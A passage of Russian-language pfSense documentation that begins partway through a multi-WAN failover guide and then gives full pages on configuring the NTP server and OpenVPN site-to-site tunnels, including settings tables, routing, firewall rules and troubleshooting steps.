> Без DNS Query Forwarding DNS Resolver выполняет рекурсивные запросы напрямую к корневым серверам. В этом случае DNS-запросы маршрутизируются через шлюз по умолчанию. При failover шлюз по умолчанию изменяется автоматически, но переходный период может вызвать кратковременные задержки в разрешении имён.

## Тестирование failover

Перед вводом конфигурации в эксплуатацию необходимо убедиться в корректности переключения.

### Метод 1: физическое отключение

1. Открыть **Status > Gateways** для наблюдения за статусами.
2. Физически отключить кабель основного WAN-интерфейса.
3. Наблюдать за изменением статуса основного шлюза:
   - Статус должен измениться на **Warning**, затем на **Down**.
   - Время до изменения статуса зависит от настроек Time Period и порогов.
4. Проверить, что трафик переключился на резервный канал:
   - Открыть внешний сервис проверки IP (например, ifconfig.me).
   - IP-адрес должен соответствовать внешнему адресу резервного WAN.
5. Подключить кабель обратно и убедиться в возврате на основной канал.

### Метод 2: блокировка Monitor IP

1. Создать временное правило файрвола на WAN-интерфейсе, блокирующее ICMP-трафик к Monitor IP основного шлюза.
2. Наблюдать за переключением в **Status > Gateways**.
3. После проверки удалить временное правило.

Этот метод позволяет тестировать failover без физического воздействия на оборудование.

### Метод 3: изменение порогов

1. Временно установить порог **Down** на 0% для основного шлюза.
2. Любая потеря пакетов приведёт к немедленному переключению.
3. После проверки восстановить оригинальные пороговые значения.

### Что проверять при тестировании

| Проверка | Ожидаемый результат |
|---|---|
| Время переключения | Зависит от Time Period и порогов (обычно 30-60 секунд) |
| DNS-разрешение | Продолжает работать через резервный канал |
| Активные TCP-соединения | Прерываются (ожидаемое поведение) |
| Новые соединения | Устанавливаются через резервный канал |
| Возврат на основной | Автоматический после восстановления основного шлюза |
| Логи | Записи о переключении в Status > System Logs > Gateways |

## Поведение при восстановлении

После восстановления доступности основного шлюза pfSense автоматически возвращает трафик на основной канал (Tier 1). Поведение при восстановлении:

1. dpinger обнаруживает, что основной шлюз снова отвечает на probe-пакеты.
2. После накопления достаточного количества успешных ответов в пределах Time Period статус шлюза меняется на **Online**.
3. pfSense переключает новые соединения на основной канал.
4. Активные соединения через резервный канал продолжают работать до завершения.

Время восстановления определяется параметром Time Period. При значении по умолчанию (60 секунд) возврат на основной канал происходит примерно через 60-90 секунд после восстановления связи.

> **Внимание**:
>
> Частое переключение между каналами (flapping) указывает на нестабильность основного канала. Если основной канал восстанавливается и отказывает через короткие интервалы, активные соединения будут прерываться при каждом переключении. В этом случае следует увеличить Time Period или пороговые значения для снижения чувствительности.

## VPN с failover

### IPsec

При использовании IPsec VPN с failover необходимо учитывать следующие особенности:

- IPsec-туннель привязан к конкретному WAN-интерфейсу. При отказе этого интерфейса туннель разрывается.
- Для автоматического восстановления IPsec через резервный WAN необходимо создать отдельную Phase 1 конфигурацию для каждого WAN-интерфейса.
- Удалённая сторона также должна быть настроена на приём соединений с обоих IP-адресов.

Конфигурация IPsec для failover:

| Параметр | WAN1 Phase 1 | WAN2 Phase 1 |
|---|---|---|
| **Interface** | WAN1 | WAN2 |
| **Remote Gateway** | peer-ip-address | peer-ip-address |
| **Phase 2 Subnet** | 192.168.1.0/24 | 192.168.1.0/24 |

При отказе WAN1 IPsec-туннель через WAN1 разрывается, а туннель через WAN2 устанавливается автоматически (при наличии DPD - Dead Peer Detection).

### OpenVPN

OpenVPN поддерживает несколько подходов к failover:

1. **Назначение Gateway Group интерфейсу OpenVPN** - OpenVPN-сервер или клиент привязывается к конкретному WAN. Для failover создаются два экземпляра OpenVPN на разных WAN.
2. **Floating IP** - при использовании CARP VIP в качестве адреса OpenVPN-сервера переключение происходит на уровне CARP.
3. **Клиентский failover** - в конфигурации OpenVPN-клиента указать несколько директив `remote` с разными серверами. Клиент автоматически переключается на следующий сервер при разрыве соединения.

## Диагностика

### Failover не срабатывает

**Симптом**: основной канал недоступен, но трафик не переключается на резервный.

Проверки:

1. **Статус шлюза** - проверить **Status > Gateways**. Если основной шлюз всё ещё показывает статус Online, проблема в настройках мониторинга:
   - Убедиться, что Monitor IP корректен и недоступен через отказавший канал.
   - Проверить, что Monitor IP не доступен через резервный канал (routing loop).
2. **Gateway Group** - убедиться, что шлюзы назначены на правильные tier (основной - Tier 1, резервный - Tier 2).
3. **Правило файрвола** - убедиться, что Gateway Group назначена в правиле файрвола.
4. **Trigger Level** - проверить, что Trigger Level соответствует типу отказа (например, Member Down не реагирует на высокие потери, только на полный отказ).

### Медленное обнаружение отказа

**Симптом**: переключение на резервный канал занимает несколько минут.

Причины и решения:

1. **Time Period слишком велик** - уменьшить до 30 секунд. dpinger требует накопления данных за весь Time Period перед изменением статуса.
2. **Пороги слишком высоки** - если порог Down установлен на 50%, шлюз должен потерять 50% пакетов, прежде чем будет отмечен как Down. Рекомендуемое значение - 10%.
3. **Monitor IP на шлюзе провайдера** - шлюз провайдера может продолжать отвечать при отсутствии upstream-связи. Заменить на публичный DNS.

### Ложные срабатывания

**Симптом**: failover срабатывает при работающем основном канале.

Причины и решения:

1. **Monitor IP перегружен** - если Monitor IP (например, 8.8.8.8) временно не отвечает из-за rate-limiting или перегрузки, dpinger фиксирует потери. Использовать менее загруженный Monitor IP или увеличить пороги.
2. **Time Period слишком мал** - кратковременные флуктуации в сети провайдера вызывают переключение. Увеличить Time Period до 60-120 секунд.
3. **Probe Interval слишком агрессивен** - при интервале в 1 секунду и нестабильном канале потери накапливаются быстрее. Увеличить до 2-3 секунд.

### Flapping (циклическое переключение)

**Симптом**: трафик постоянно переключается между основным и резервным каналами.

Причина: основной канал нестабилен - периодически восстанавливается и отказывает.

Решение:

1. Увеличить **Time Period** до 120-180 секунд для более длительного периода стабильности перед возвратом.
2. Увеличить порог **Down** для снижения чувствительности.
3. При невозможности устранить нестабильность основного канала рассмотреть переход на конфигурацию с балансировкой нагрузки, где оба канала используются одновременно.

## Мониторинг и оповещения

pfSense записывает события переключения шлюзов в системный журнал. Для оперативного реагирования рекомендуется настроить внешний мониторинг.

### Системные логи

События failover фиксируются в **Status > System Logs > Gateways**. Типичные записи:

```
dpinger: WAN1_DHCP 8.8.8.8: Alarm latency 0us stddev 0us loss 100%
dpinger: WAN1_DHCP 8.8.8.8: Clear latency 5432us stddev 312us loss 0%
```

### SNMP-мониторинг

pfSense поддерживает SNMP для внешнего мониторинга. Статус шлюзов доступен через SNMP OID. Настройка SNMP выполняется в **Services > SNMP**.

### Syslog

Для отправки логов на внешний syslog-сервер (Wazuh, ELK, Graylog) настроить удалённый syslog в **Status > System Logs > Settings**, секция **Remote Logging Options**.

## Связанные разделы

- [Балансировка нагрузки Multi-WAN](/docs/pfsense/multi-wan/pfsense-multi-wan-load-balancing/) - настройка параллельного использования нескольких каналов
- [Исходящий NAT](/docs/pfsense/nat/pfsense-outbound-nat/) - настройка NAT для корректной работы failover
- [IPsec VPN](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/) - настройка IPsec-туннелей с учётом Multi-WAN failover


---

# NTP сервер в pfSense - синхронизация времени в сети

Source: https://opennix.org/docs/pfsense/services/pfsense-ntp/


Точная синхронизация времени является критическим требованием для корректной работы сетевой инфраструктуры. Расхождение системных часов влияет на достоверность временных меток в журналах, валидность SSL/TLS-сертификатов, работу протоколов аутентификации (Kerberos, RADIUS), корректность CARP-кластеров и надёжность файловых систем с репликацией. pfSense включает встроенный NTP-сервер на основе демона ntpd, который синхронизирует собственные часы с внешними эталонными источниками и предоставляет сервис точного времени для всех устройств в локальной сети.

## Значение точного времени

Некорректная синхронизация времени приводит к ряду практических проблем, которые не всегда очевидны при диагностике.

| Область | Последствия рассинхронизации |
|---|---|
| **Журналирование** | Некорректные временные метки делают невозможным корреляцию событий между устройствами |
| **SSL/TLS** | Сертификаты отклоняются как просроченные или ещё не действительные |
| **Kerberos** | Аутентификация завершается ошибкой при расхождении более 5 минут |
| **CARP** | Некорректная работа кластера отказоустойчивости |
| **TOTP** | Одноразовые пароли не совпадают с серверными |
| **Резервное копирование** | Инкрементальные бэкапы включают лишние файлы из-за неверных временных меток |

Перед предоставлением NTP-сервиса клиентам необходимо убедиться, что pfSense сам поддерживает точное время. По умолчанию pfSense синхронизируется с серверами из пула `pool.ntp.org` при загрузке системы.

## Начальная синхронизация (Clock Bootstrap)

При запуске pfSense выполняет начальную синхронизацию часов. Если расхождение с эталонными серверами превышает 1000 секунд, ntpd отказывается выполнять корректировку и завершает работу. В таких случаях pfSense использует утилиту `ntpdate` для принудительной установки времени перед запуском ntpd.

Этот процесс особенно важен для систем без аппаратных часов реального времени (RTC), например, при работе на виртуальных машинах, где после перезагрузки системные часы могут значительно отличаться от реального времени.

## Настройка NTP-сервера

Конфигурация NTP-сервера выполняется через **Services > NTP**.

### Upstream серверы времени

Раздел **NTP Servers** определяет внешние источники времени, с которыми pfSense синхронизируется.

| Поле | Описание |
|---|---|
| **Time Server** | Адрес или имя NTP-сервера |
| **Prefer** | Отметить сервер как предпочтительный |
| **No Select** | Исключить из синхронизации, сохранив сбор статистики |

Рекомендуется настроить от трёх до пяти серверов. Три сервера позволяют ntpd определять, какой из источников предоставляет неверное время (алгоритм выбора большинства). Менее трёх серверов лишают ntpd возможности обнаружить отклонение.

#### Рекомендуемые серверы

| Сервер | Описание |
|---|---|
| `0.pfsense.pool.ntp.org` | Пул по умолчанию для pfSense |
| `1.pfsense.pool.ntp.org` | Пул по умолчанию для pfSense |
| `2.pfsense.pool.ntp.org` | Пул по умолчанию для pfSense |
| `0.ru.pool.ntp.org` | Региональный пул для России |
| `ntp1.stratum2.ru` | Российский Stratum 2 сервер |
| `time.cloudflare.com` | Cloudflare NTP (Stratum 3) |
| `time.google.com` | Google NTP (Stratum 1) |

При наличии внутреннего NTP-сервера Stratum 1 (например, с GPS-приёмником) его следует указать как предпочтительный источник с установленным флажком **Prefer**.

### Привязка к интерфейсам

По умолчанию NTP-сервер принимает запросы на всех интерфейсах pfSense. Для ограничения доступа следует выбрать конкретные интерфейсы.

| Сценарий | Рекомендуемые интерфейсы |
|---|---|
| Стандартная сеть | LAN |
| Сеть с VLAN | LAN, VLAN10, VLAN20 |
| Только для pfSense | Localhost (NTP не обслуживает клиентов) |

> **Внимание**:
>
> Выбор интерфейсов влияет не только на приём входящих запросов, но и на отправку исходящих запросов к upstream серверам. При выборе только LAN-интерфейса pfSense может потерять возможность обращаться к внешним NTP-серверам через WAN.

### Orphan Mode

Orphan Mode обеспечивает предоставление времени клиентам даже при недоступности всех upstream серверов. При активации pfSense объявляет себя источником времени с заданным уровнем stratum, используя внутренние часы.

| Параметр | Описание | Значение по умолчанию |
|---|---|---|
| **Orphan Mode** | Включение режима | Отключён |
| **Stratum** | Уровень, объявляемый клиентам | 12 |

Значение stratum 12 указывает клиентам, что источник является ненадёжным и следует использовать его только при отсутствии альтернатив. Не следует устанавливать значение ниже 5, чтобы избежать приоритетного выбора локальных часов над серверами интернета.

Orphan Mode полезен в изолированных сетях без доступа к интернету, а также для предотвращения полной потери синхронизации при кратковременных перебоях связи.

## Ограничения доступа (Access Restrictions)

NTP-сервер pfSense поддерживает списки контроля доступа для управления тем, какие клиенты могут использовать сервис.

### Ограничения по умолчанию

Ограничения по умолчанию применяются ко всем клиентам, для которых не определены специальные правила.

| Ограничение | Описание |
|---|---|
| **Kiss-o'-Death** | Отправка KoD-пакетов клиентам, превышающим допустимую частоту запросов |
| **Modifications** | Запрет модификации конфигурации через ntpq и ntpdc |
| **Queries** | Запрет запросов статуса через ntpq и ntpdc |
| **Serve** | Ограничение типов обслуживаемых пакетов |
| **Peer** | Запрет создания новых пиринговых ассоциаций |
| **Trap** | Запрет удалённого журналирования событий |

### Пользовательские ограничения

Для отдельных подсетей допускается создание специальных правил с индивидуальными настройками. Это позволяет, например, предоставить полный доступ внутренним клиентам, одновременно ограничивая доступ из гостевой сети.

## GPS и PPS источники времени

Для сред, требующих высокой точности синхронизации, pfSense поддерживает аппаратные источники времени - GPS-приёмники и PPS-сигналы.

### Serial GPS

pfSense позволяет использовать GPS-приёмник, подключённый через последовательный порт, в качестве эталонного источника времени (reference clock).

| Параметр | Описание |
|---|---|
| **GPS Type** | Модель GPS-приёмника из списка или Custom |
| **Serial Port** | Порт подключения (`cuau0` для аппаратного, `cuaU0` для USB) |
| **Baud Rate** | Скорость последовательного порта (обычно 4800 bps) |
| **NMEA Sentences** | Типы NMEA-сообщений для интерпретации |
| **Fudge Time 1** | Коррекция смещения PPS-сигнала (секунды) |
| **Fudge Time 2** | Коррекция смещения данных GPS (секунды) |
| **Stratum** | Уровень, объявляемый для GPS (по умолчанию 0) |

GPS-приёмник с PPS-выходом обеспечивает точность синхронизации в пределах микросекунд, что превосходит любые сетевые NTP-серверы.

> **Внимание**:
>
> USB GPS-приёмники могут функционировать, однако они не являются надёжными источниками времени из-за нестабильной задержки USB-шины. Для точной синхронизации следует использовать приёмники с подключением через аппаратный последовательный порт.

### PPS (Pulse Per Second)

PPS-сигнал представляет собой электрический импульс с частотой 1 Гц, генерируемый GPS-приёмником или иным устройством. Этот сигнал позволяет достичь субмикросекундной точности синхронизации.

Параметры PPS в pfSense:

| Параметр | Описание |
|---|---|
| **PPS Signal Processing** | Включение обработки PPS |
| **Falling Edge** | Использование заднего фронта импульса |
| **Kernel PPS Clock Discipline** | Передача PPS-сигнала непосредственно ядру ОС |

Kernel PPS Clock Discipline обеспечивает максимальную точность, однако требует аппаратной поддержки последовательного порта и корректной настройки драйвера.

## Распространение NTP клиентам через DHCP

Для автоматической настройки NTP на клиентских устройствах рекомендуется передавать адрес NTP-сервера через DHCP.

### Настройка DHCP-опции

В разделе **Services > DHCP Server** для соответствующего интерфейса необходимо указать адрес pfSense в поле **NTP Server**. При получении DHCP-аренды клиентские устройства автоматически настроят синхронизацию времени с pfSense.

| Параметр | Значение |
|---|---|
| **NTP Server 1** | IP-адрес LAN-интерфейса pfSense |
| **NTP Server 2** | Резервный NTP-сервер (опционально) |

Большинство операционных систем (Windows, macOS, Linux) автоматически применяют NTP-серверы, полученные через DHCP. Для устройств со статической конфигурацией NTP-сервер необходимо указывать вручную.

## Мониторинг NTP

### Status > NTP

Страница **Status > NTP** отображает текущее состояние синхронизации.

| Столбец | Описание |
|---|---|
| **Status** | Текущий статус каждого upstream сервера |
| **Server** | Адрес NTP-сервера |
| **Ref ID** | Идентификатор эталонного источника сервера |
| **Stratum** | Уровень удалённости от эталонного источника |
| **Offset** | Расхождение с локальными часами (миллисекунды) |
| **Jitter** | Вариация задержки между опросами |

Символы в столбце **Status**:

| Символ | Значение |
|---|---|
| `*` | Текущий основной источник синхронизации |
| `+` | Кандидат на роль основного источника |
| `-` | Сервер исключён алгоритмом выбора |
| `x` | Сервер признан неисправным (falseticker) |

### Журналирование

NTP поддерживает несколько уровней журналирования, настраиваемых в **Services > NTP**.

| Опция | Описание |
|---|---|
| **Peer Messages** | Журналирование событий пиринговых ассоциаций |
| **System Messages** | Системные события NTP |
| **Statistics Logging** | Сохранение статистики в `/var/log/ntp` |
| **Reference Clock Statistics** | Статистика аппаратных источников |
| **Clock Discipline Statistics** | Статистика коррекции часов |

Журналы NTP доступны через **Status > System Logs** на вкладке **NTP**. RRD-графики производительности NTP доступны через **Status > Monitoring**.

## Диагностика проблем

### Время не синхронизируется

1. Проверить доступность upstream NTP-серверов: **Diagnostics > Ping** с адресами NTP-серверов
2. Убедиться, что правила файрвола разрешают исходящий UDP-трафик на порт 123 с WAN-интерфейса
3. Проверить статус NTP на странице **Status > NTP** - должен быть хотя бы один сервер с символом `*`
4. Просмотреть журнал: **Status > System Logs > NTP**
5. При значительном расхождении перезапустить NTP-сервис через **Status > Services**

### Значительный дрейф времени

- Проверить, не работает ли pfSense на виртуальной машине с некорректной настройкой эмуляции часов
- Убедиться, что гипервизор не конфликтует с ntpd (VMware Tools, Hyper-V Integration Services иногда корректируют время параллельно с ntpd)
- Увеличить количество upstream серверов до 4-5 для улучшения точности
- Проверить значение **Jitter** на странице **Status > NTP** - значения выше 100 мс указывают на нестабильное сетевое соединение

### Клиенты не получают время от pfSense

1. Убедиться, что NTP-сервер привязан к интерфейсу, на котором находятся клиенты
2. Проверить правила файрвола на LAN-интерфейсе - должен быть разрешён UDP-трафик на порт 123
3. Проверить настройки DHCP - адрес pfSense должен быть указан в поле NTP Server
4. На клиентском устройстве выполнить тестовый запрос: `ntpdate -q <ip-pfSense>` (Linux/macOS) или `w32tm /stripchart /computer:<ip-pfSense>` (Windows)

### NTP блокируется файрволом

NTP использует UDP порт 123 как для входящих, так и для исходящих соединений. Необходимо убедиться в наличии следующих правил:

| Направление | Источник | Назначение | Порт | Протокол |
|---|---|---|---|---|
| Исходящее (WAN) | pfSense | Любой | 123 | UDP |
| Входящее (LAN) | LAN subnet | pfSense LAN IP | 123 | UDP |

## Сравнение ntpd и chrony

pfSense использует классический демон ntpd. В Linux-дистрибутивах всё чаще применяется альтернативная реализация chrony. Основные различия:

| Характеристика | ntpd (pfSense) | chrony |
|---|---|---|
| Начальная синхронизация | Медленная (минуты) | Быстрая (секунды) |
| Работа на ВМ | Требует настройки | Адаптируется автоматически |
| Изолированная сеть | Orphan Mode | Local stratum |
| GPS/PPS | Встроенная поддержка | Встроенная поддержка |
| Протокол NTS | Не поддерживается | Поддерживается |

pfSense не поддерживает замену ntpd на chrony. При необходимости использования chrony его следует развернуть на отдельном сервере и настроить pfSense для синхронизации с ним.

## Связанные разделы

- [DHCP сервер pfSense](/docs/pfsense/services/pfsense-dhcp/) - передача адреса NTP-сервера клиентам через DHCP-опцию
- [DNS (Resolver и Forwarder)](/docs/pfsense/services/pfsense-dns/) - разрешение имён NTP-серверов из пула pool.ntp.org
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - управление доступом к NTP-сервису и разрешение исходящих NTP-запросов


---

# OpenVPN Site-to-Site туннель в pfSense - настройка

Source: https://opennix.org/docs/pfsense/vpn/openvpn/pfsense-openvpn-site-to-site/


OpenVPN site-to-site туннель обеспечивает постоянное зашифрованное соединение между двумя или более площадками, объединяя их локальные сети в единое адресное пространство. В отличие от IPsec, OpenVPN работает в пространстве пользователя поверх SSL/TLS и способен функционировать через TCP 443, что делает его предпочтительным вариантом при работе через сети с жёсткой фильтрацией (корпоративные прокси, гостиничный Wi-Fi, мобильные операторы, блокирующие ESP/IKE).

Данное руководство описывает два режима настройки site-to-site туннеля в pfSense: упрощённый Shared Key и масштабируемый TLS/PKI. Материал рассчитан на сетевых инженеров, имеющих опыт администрирования pfSense и понимание основ маршрутизации.

## Когда выбрать OpenVPN вместо IPsec

Выбор между OpenVPN и IPsec для site-to-site соединений зависит от конкретных условий эксплуатации.

| Критерий | OpenVPN | IPsec |
|---|---|---|
| NAT Traversal | Работает через любой NAT без дополнительной настройки | Требует NAT-T (UDP 4500), возможны проблемы с двойным NAT |
| Обход ограничений | Может работать через TCP 443 | Требует UDP 500/4500 и протокол ESP (IP 50) |
| Производительность | Ниже (userspace, одно ядро CPU) | Выше (kernel-level, аппаратное ускорение) |
| Совместимость | Требует OpenVPN на обеих сторонах | Стандартизирован, совместим с любым оборудованием |
| Простота настройки | Простая (особенно Shared Key) | Сложнее (Phase 1/Phase 2, множество параметров) |
| Масштабирование | Hub-and-spoke через TLS/PKI | Mesh-топология через VTI |

Рекомендация: при подключении площадок через ограничительные сети или при отсутствии совместимого IPsec-оборудования на удалённой стороне следует использовать OpenVPN. При необходимости максимальной производительности и совместимости с оборудованием третьих сторон - [IPsec site-to-site](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/).

## Предварительные требования

Перед настройкой необходимо убедиться в выполнении следующих условий:

1. **Публичные IP-адреса или Dynamic DNS** на обоих узлах. Минимум одна сторона должна иметь статический адрес или FQDN, доступный из интернета.
2. **Непересекающиеся подсети** за обоими узлами:
   - Площадка A (сервер): LAN `10.1.0.0/24`
   - Площадка B (клиент): LAN `10.2.0.0/24`
   - Tunnel Network: `10.8.1.0/30` (для point-to-point достаточно /30)
3. **Согласованные параметры** - обе стороны должны использовать одинаковые алгоритмы шифрования и протокол (UDP/TCP).

## Shared Key режим

Режим Shared Key (Pre-Shared Key) - простейший способ организации site-to-site туннеля между двумя площадками. Вместо PKI-инфраструктуры используется один статический ключ, известный обеим сторонам.

> **Внимание**:
>
> Разработчики OpenVPN объявили режим Shared Key устаревшим. В будущих версиях OpenVPN он будет удалён. Для новых инсталляций рекомендуется использовать TLS/PKI режим.

### Ограничения Shared Key

- Поддерживает только одно соединение peer-to-peer (два узла).
- Не масштабируется - для каждой пары площадок необходим отдельный экземпляр с уникальным портом.
- Компрометация ключа ставит под угрозу весь туннель.
- Нет Perfect Forward Secrecy (PFS).
- Несовместим с DCO (Data Channel Offload).

### Настройка серверной стороны (Площадка A)

Конфигурация выполняется в разделе **VPN > OpenVPN > Servers**.

![OpenVPN Server list](/img/pfsense/pfsense-openvpn-server-list.webp)
<p style="text-align: center;">Рис. 1. Список OpenVPN-серверов в pfSense</p>

1. Нажать **Add** для создания нового сервера.
2. Заполнить параметры:

| Поле | Значение | Пояснение |
|---|---|---|
| Server mode | Peer to Peer (Shared Key) | Режим точка-точка со статическим ключом |
| Device mode | tun - Layer 3 Tunnel Mode | L3-туннель с маршрутизацией |
| Interface | WAN | Интерфейс, принимающий подключения |
| Local port | 1195 | Порт 1194 может быть занят сервером Remote Access |
| Protocol | UDP on IPv4 only | UDP обеспечивает лучшую производительность |
| Shared Key | Автоматически сгенерировать | Ключ генерируется при первом сохранении |
| Data Encryption Algorithms | AES-256-GCM | Рекомендуемый алгоритм |
| Auth digest algorithm | SHA256 | Алгоритм HMAC |
| IPv4 Tunnel Network | `10.8.1.0/30` | Подсеть для туннельного интерфейса |
| IPv4 Remote Network(s) | `10.2.0.0/24` | Подсеть за удалённой стороной |
| Allow Compression | Refuse any non-stub compression | Сжатие отключено |

3. Нажать **Save**.
4. После сохранения открыть сервер повторно и скопировать содержимое поля **Shared Key** - оно потребуется для настройки клиентской стороны.

### Настройка клиентской стороны (Площадка B)

На pfSense площадки B перейти в **VPN > OpenVPN > Clients** и нажать **Add**.

| Поле | Значение | Пояснение |
|---|---|---|
| Server mode | Peer to Peer (Shared Key) | Должен совпадать с сервером |
| Device mode | tun - Layer 3 Tunnel Mode | Должен совпадать с сервером |
| Protocol | UDP on IPv4 only | Должен совпадать с сервером |
| Interface | WAN | Исходящий интерфейс |
| Server host or address | `198.51.100.1` | Публичный IP или FQDN площадки A |
| Server port | 1195 | Порт сервера |
| Shared Key | (вставить ключ с сервера) | Точная копия ключа с площадки A |
| Data Encryption Algorithms | AES-256-GCM | Должен совпадать с сервером |
| Auth digest algorithm | SHA256 | Должен совпадать с сервером |
| IPv4 Tunnel Network | `10.8.1.0/30` | Должен совпадать с сервером |
| IPv4 Remote Network(s) | `10.1.0.0/24` | Подсеть за серверной стороной |
| Allow Compression | Refuse any non-stub compression | Должен совпадать с сервером |

> **Внимание**:
>
> Все криптографические параметры (алгоритмы шифрования, HMAC, Shared Key) должны быть идентичны на обеих сторонах. Несовпадение приведёт к отказу в установлении туннеля без информативного сообщения об ошибке.

## TLS/PKI режим

Режим TLS/PKI (Peer to Peer SSL/TLS) использует сертификаты X.509 для аутентификации и обеспечивает масштабируемость, Perfect Forward Secrecy и совместимость с DCO. Это рекомендуемый режим для новых инсталляций.

### Подготовка сертификатов

Требуется создать:

1. **CA** - в разделе **System > Certificates > Authorities** (если CA ещё не создан).
2. **Серверный сертификат** - тип Server Certificate, привязанный к CA.
3. **Клиентский сертификат** - тип User Certificate для каждой удалённой площадки. Создаётся в **System > Certificates > Certificates** (не через User Manager, поскольку site-to-site не требует учётных записей пользователей).

Подробная инструкция по созданию сертификатов приведена в разделе [OpenVPN сервер удаленного доступа](/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/).

### Настройка серверной стороны

Конфигурация выполняется в разделе **VPN > OpenVPN > Servers**.

| Поле | Значение | Пояснение |
|---|---|---|
| Server mode | Peer to Peer (SSL/TLS) | Режим точка-точка с сертификатами |
| Device mode | tun - Layer 3 Tunnel Mode | |
| Interface | WAN | |
| Local port | 1195 | |
| Protocol | UDP on IPv4 only | |
| TLS Configuration | Включена | |
| Peer Certificate Authority | `OpenVPN-CA` | CA, подписавший сертификаты |
| Server certificate | `OpenVPN-Server-Cert` | Серверный сертификат |
| DH Parameter Length | 2048 | |
| Data Encryption Algorithms | AES-256-GCM | |
| IPv4 Tunnel Network | `10.8.1.0/24` | /24 при использовании нескольких клиентов |
| IPv4 Remote Network(s) | `10.2.0.0/24` | Подсети за удалёнными площадками |

Для режима TLS с несколькими клиентами (hub-and-spoke) поле **IPv4 Remote Network(s)** заполняется подсетями всех удалённых площадок через запятую.

### Настройка клиентской стороны

На pfSense удалённой площадки: **VPN > OpenVPN > Clients > Add**.

| Поле | Значение | Пояснение |
|---|---|---|
| Server mode | Peer to Peer (SSL/TLS) | |
| Device mode | tun - Layer 3 Tunnel Mode | |
| Protocol | UDP on IPv4 only | |
| Interface | WAN | |
| Server host or address | `198.51.100.1` | Публичный IP площадки A |
| Server port | 1195 | |
| TLS Configuration | Включена | |
| Peer Certificate Authority | `OpenVPN-CA` | Тот же CA |
| Client certificate | `Site-B-Cert` | Клиентский сертификат площадки B |
| Data Encryption Algorithms | AES-256-GCM | |
| IPv4 Tunnel Network | `10.8.1.0/24` | Совпадает с сервером |
| IPv4 Remote Network(s) | `10.1.0.0/24` | Подсеть за серверной стороной |

## Маршрутизация

Корректная маршрутизация - ключевой элемент работающего site-to-site туннеля. OpenVPN использует два механизма передачи информации о маршрутах.

### Поле Remote Network(s) vs iroute

- **IPv4 Remote Network(s)** в настройках сервера - создаёт маршрут на уровне операционной системы, указывающий, что трафик к указанным подсетям следует направлять в OpenVPN-интерфейс.
- **iroute** в Client Specific Overrides - сообщает процессу OpenVPN, какой клиент обслуживает конкретную подсеть. Без iroute OpenVPN не знает, через какое туннельное соединение отправлять пакеты.

В режиме TLS с несколькими клиентами необходимо настроить **оба** механизма:

1. В настройках сервера указать все удалённые подсети в **IPv4 Remote Network(s)**.
2. Для каждого клиента создать запись в **Client Specific Overrides** с директивой `iroute`:

```
iroute 10.2.0.0 255.255.255.0;
```

В режиме Shared Key iroute не используется - маршрутизация определяется полем **Remote Network(s)** на обеих сторонах.

### Статические маршруты на внутренних устройствах

Устройства в локальных сетях обеих площадок должны иметь маршрут к подсетям удалённой стороны через pfSense. Если pfSense является шлюзом по умолчанию, маршруты создаются автоматически. В противном случае необходимо добавить статические маршруты на маршрутизаторах или L3-коммутаторах.

## Multi-site hub-and-spoke

Топология hub-and-spoke позволяет подключить несколько удалённых площадок (spoke) к центральному офису (hub) через единый экземпляр OpenVPN-сервера в режиме TLS/PKI.

### Архитектура

```
          ┌──────────────┐
          │   Hub (HQ)   │
          │  10.1.0.0/24 │
          │  OpenVPN     │
          │  Server      │
          └──────┬───────┘
                 │
        ┌────────┼────────┐
        │        │        │
   ┌────▼───┐ ┌──▼────┐ ┌─▼──────┐
   │ Spoke1 │ │ Spoke2│ │ Spoke3 │
   │10.2.0/24│ │10.3.0/24│ │10.4.0/24│
   └────────┘ └───────┘ └────────┘
```

### Настройка Hub

На центральном pfSense создаётся один сервер OpenVPN в режиме **Peer to Peer (SSL/TLS)** с параметрами:

- **IPv4 Tunnel Network**: `10.8.1.0/24` - достаточно для адресации всех spoke.
- **IPv4 Remote Network(s)**: `10.2.0.0/24, 10.3.0.0/24, 10.4.0.0/24` - все подсети spoke.

Для каждого spoke создаётся запись в **Client Specific Overrides**:

Spoke 1 (Common Name: `spoke1-cert`):
```
iroute 10.2.0.0 255.255.255.0;
```

Spoke 2 (Common Name: `spoke2-cert`):
```
iroute 10.3.0.0 255.255.255.0;
```

Spoke 3 (Common Name: `spoke3-cert`):
```
iroute 10.4.0.0 255.255.255.0;
```

### Взаимодействие между spoke

По умолчанию spoke-площадки не могут взаимодействовать напрямую - весь трафик проходит через hub. Для этого необходимо:

1. Включить опцию **Inter-client communication** на сервере (или добавить `client-to-client` в Custom options).
2. На каждом spoke добавить маршруты к подсетям других spoke через VPN (поле **IPv4 Remote Network(s)**).

## Правила файрвола

### Правила на WAN

Аналогично серверу Remote Access - разрешить входящие подключения на порт сервера:

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | WAN |
| Protocol | UDP |
| Source | IP удалённой площадки (или Any) |
| Destination | WAN address |
| Destination Port | 1195 |
| Description | Allow OpenVPN S2S |

При известном фиксированном IP удалённой площадки рекомендуется указать его в поле Source для ограничения поверхности атаки.

### Правила на интерфейсе OpenVPN

Разрешить трафик между подсетями площадок:

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | OpenVPN |
| Protocol | Any |
| Source | Подсеть удалённой площадки |
| Destination | LAN net |
| Description | Site B to LAN |

Для ограничения доступа следует создать правила, разрешающие только необходимые протоколы и порты. Подробнее - в разделе [Правила файрвола в pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/).

## Сравнение с IPsec

Выбор между OpenVPN и IPsec site-to-site зависит от конкретного сценария.

### Когда OpenVPN предпочтительнее

- **NAT-проблемы** - удалённая площадка находится за двойным NAT, или провайдер блокирует протокол ESP.
- **TCP-фолбэк** - необходимость работы через TCP 443 при блокировке UDP.
- **Простота настройки** - Shared Key режим требует минимального количества параметров.
- **Однородное оборудование** - на обеих сторонах установлен pfSense или другая система с поддержкой OpenVPN.
- **Динамические IP** - OpenVPN корректно работает при смене IP-адресов с обеих сторон (при использовании DDNS).

### Когда IPsec предпочтительнее

- **Производительность** - IPsec обрабатывается на уровне ядра с аппаратным ускорением (AES-NI). Для каналов свыше 500 Mbit/s IPsec значительно эффективнее.
- **Совместимость** - подключение к оборудованию третьих сторон (Cisco, Juniper, облачные провайдеры), не поддерживающему OpenVPN.
- **Стандартизация** - корпоративные политики могут требовать использования стандартизированных протоколов (IKEv2, ESP).
